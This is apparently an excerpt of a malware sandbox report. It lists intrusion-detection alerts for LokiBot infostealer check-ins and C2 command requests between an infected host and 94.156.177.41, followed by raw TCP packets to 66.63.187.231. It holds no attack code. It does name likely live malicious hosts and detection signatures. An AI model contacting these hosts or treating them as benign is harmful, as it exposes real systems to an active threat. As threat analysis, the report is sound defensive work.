2024-11-20T10:58:43.784646+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:43.784646+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:43.784646+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:44.665098+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:44.665098+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:44.673346+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58832	TCP
2024-11-20T10:58:45.036254+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:45.036254+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:45.036254+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:45.774285+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:45.774285+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:45.779217+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58833	TCP
2024-11-20T10:58:45.931402+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:45.931402+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:45.931402+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:46.706839+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:46.706839+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:46.711977+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58834	TCP
2024-11-20T10:58:46.868272+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:46.868272+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:46.868272+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:47.637543+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:47.637543+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:47.644969+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58835	TCP
2024-11-20T10:58:47.801637+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:47.801637+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:47.801637+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:48.568051+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:48.568051+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:48.573043+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58836	TCP
2024-11-20T10:58:48.719401+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:48.719401+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:48.719401+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:49.472958+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:49.472958+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:49.481216+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58837	TCP
2024-11-20T10:58:49.631590+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:49.631590+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:49.631590+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:50.369375+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:50.369375+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:50.374368+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58838	TCP
2024-11-20T10:58:50.531924+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:50.531924+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:50.531924+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:51.270204+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:51.270204+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:51.275613+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58839	TCP
2024-11-20T10:58:51.462507+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:51.462507+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:51.462507+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:52.210518+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:52.210518+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:52.215522+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58840	TCP
2024-11-20T10:58:52.365083+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:52.365083+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:52.365083+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:53.245528+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:53.245528+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:53.253974+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58841	TCP
2024-11-20T10:58:53.422435+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:53.422435+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:53.422435+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:54.194984+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:54.194984+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:54.200047+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58842	TCP
2024-11-20T10:58:54.359199+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:54.359199+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:54.359199+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:55.228559+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:55.228559+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:55.236154+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58843	TCP
2024-11-20T10:58:55.384693+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:55.384693+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:55.384693+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:56.119265+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:56.119265+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:56.125650+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58844	TCP
2024-11-20T10:58:56.456663+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:56.456663+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:56.456663+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:57.203522+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:57.203522+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:57.208517+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58845	TCP
2024-11-20T10:58:57.368693+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:57.368693+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:57.368693+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:58.145779+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:58.145779+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:58.152996+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58846	TCP
2024-11-20T10:58:58.299878+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:58:58.299878+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:58:58.299878+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:58:59.067132+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:58:59.067132+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:58:59.072614+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58847	TCP
2024-11-20T10:58:59.223139+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:58:59.223139+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:58:59.223139+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:59:00.142398+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:59:00.142398+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:59:00.169904+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58848	TCP
2024-11-20T10:59:00.315009+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58849	94.156.177.41	80	TCP
2024-11-20T10:59:00.315009+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58849	94.156.177.41	80	TCP
2024-11-20T10:59:00.315009+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58849	94.156.177.41	80	TCP
2024-11-20T10:59:01.196244+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58849	94.156.177.41	80	TCP
2024-11-20T10:59:01.196244+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58849	94.156.177.41	80	TCP
2024-11-20T10:59:01.201970+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58849	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 10:57:04.748236895 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:04.857717991 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:04.858241081 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:04.858405113 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:04.863959074 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.600949049 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.601052999 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.601090908 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.601149082 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.601330042 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.601330042 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.601814985 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.601851940 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.601910114 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.602579117 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.602617025 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.602663994 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.603575945 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.603611946 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.603660107 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.603744030 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.604146004 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.604428053 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.614397049 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.614478111 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.614661932 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.614723921 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.692564011 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.692728996 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.712671995 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.712738991 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.713031054 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.713059902 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.713109970 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.713109970 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.713893890 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.713920116 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.713949919 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.713969946 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.715018034 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.715044975 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.715094090 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.715094090 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.716350079 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.716376066 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.716406107 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.716417074 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.716464996 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.716464996 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.718059063 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.718085051 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.718131065 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.718131065 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.718852043 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.718877077 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.718907118 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.718950987 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.719508886 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.719537973 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.719580889 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.719580889 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.720016956 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.720045090 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.720065117 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.720067978 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.720101118 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.720132113 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.720707893 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.720750093 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.720766068 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.720803022 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.721059084 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.721107960 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.742218971 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.742377043 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.743591070 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.743613005 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.743670940 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.743670940 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.779146910 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.779253960 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.842377901 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.842453003 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.842469931 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.842638016 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.842998028 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.843017101 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.843033075 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.843168974 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.843168974 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.844716072 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.844738960 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.844870090 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.845360994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.845376968 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.845455885 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.845455885 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.846339941 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.846358061 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.846447945 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.847311020 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.847335100 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.847382069 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.847430944 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.848258018 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.848274946 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.848331928 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.849087000 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.849103928 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.849118948 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.849181890 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.849181890 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.849886894 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.849903107 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.849956989 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.849967957 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.851037025 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.851058006 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.851120949 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.851120949 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.851535082 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.851713896 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.851731062 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.851764917 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.851764917 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.852866888 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.852883101 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.852897882 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.852912903 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.852963924 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.852963924 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.853847980 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.853864908 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.853882074 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.853940010 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.853940010 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.854870081 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.854935884 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.855051994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.855067968 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.855122089 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.855122089 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.856031895 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.856049061 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.856062889 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.856080055 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.856086016 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.856142044 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.856142044 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.857173920 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.857191086 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.857208014 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.857256889 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.857286930 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.868877888 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.870358944 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.968522072 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.968663931 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.968681097 CET	80	49730	66.63.187.231	192.168.2.4
